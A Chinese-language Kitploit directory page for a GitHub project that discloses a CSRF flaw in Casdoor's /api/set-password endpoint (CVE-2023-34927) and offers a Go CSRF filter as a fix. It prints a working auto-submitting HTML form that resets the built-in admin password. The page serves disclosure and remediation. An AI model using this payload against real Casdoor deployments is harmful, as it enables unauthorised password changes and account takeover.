Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
csrf_casdoor — 针对 Casdoor 的 `/api/set-password` 端点(CVE-2023-34927)的 CSRF 概念验证利用,可通过跨站 POST 请求实现未授权密码更改。包含基于 Go 的 CSRF 过滤器修复。 | Kitploit
工具/GitHubGitHub/vanlam2001/csrf_casdoor
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试身份验证
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

针对 Casdoor 的 `/api/set-password` 端点(CVE-2023-34927)的 CSRF 概念验证利用,可通过跨站 POST 请求实现未授权密码更改。包含基于 Go 的 CSRF 过滤器修复。

查看仓库
6个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Casdoor – 跨站请求伪造(CSRF)

摘要

  • 漏洞:/api/set-password 中的 CSRF,允许未经用户同意修改密码。
  • 受影响版本:软件的所有版本均受影响。目前没有可用的已修补版本。
  • CVE:CVE-2023-34927(最新的 CVE 尚未分配)。
  • 漏洞利用作者:Van Lam Nguyen。
  • 测试平台:Windows

影响

  • 如果受害者已登录 Casdoor,跨站 POST 可以更改受害者的密码(例如 built-in/admin),从而导致账户接管。

攻击前提条件

  • 受害者已通过身份验证,并拥有有效的 casdoor_session_id Cookie。
  • 受害者访问一个恶意页面,该页面自动向 /api/set-password 提交 POST 请求。

概念验证

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

根本原因

  • /api/* 下改变状态的端点接受基于 Cookie 的身份验证请求,而未强制进行同源检查(Origin/Referer)或 CSRF 令牌验证。

修复概述

  • 添加服务端 CSRF 过滤器,拒绝 /api/* 下基于 Cookie 的跨站 POST/PUT/DELETE/PATCH 请求。
  • 允许携带显式非 Cookie 身份验证(例如 Authorization、Basic auth、客户端凭据或 accessToken)的请求,或没有浏览器会话 Cookie 的请求(典型的服务器间调用)。

实现

  • 使用 csrf_filter.go 中实现的 routers.CSRFFilter。此过滤器:
    • 对非状态改变方法提前返回。
    • 允许带有显式非 Cookie 身份验证的请求。
    • 当存在会话 Cookie 且来源与主机不匹配时,阻止跨站请求。

如何集成到 Casdoor

  1. 将 csrf_filter.go 复制到 Casdoor 项目现有的 routers 包中。不要修改或删除此文件中的任何内容。
  2. 在 HTTP 管道中尽早注册过滤器(在 main 内):
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

验证

  • 注册过滤器后,在登录状态下重放上述 PoC。请求应被拒绝并返回 Unauthorized operation,服务器应记录 CSRF check failed 日志。
  • 包含 Authorization 头或 accessToken 参数的跨源 API 调用应继续正常工作。

仓库文件

  • csrf_filter.go:要复制到 Casdoor 的 routers 包中的 CSRF 过滤器。
  • poc.html:复现 CSRF 攻击的最小页面。
  • README.md:本文档,描述漏洞及修复步骤。

参考资料

  • Casdoor:https://casdoor.org/
  • 版本:https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

视频

  • Youtube:https://youtu.be/N5VENgiObjY
下载工具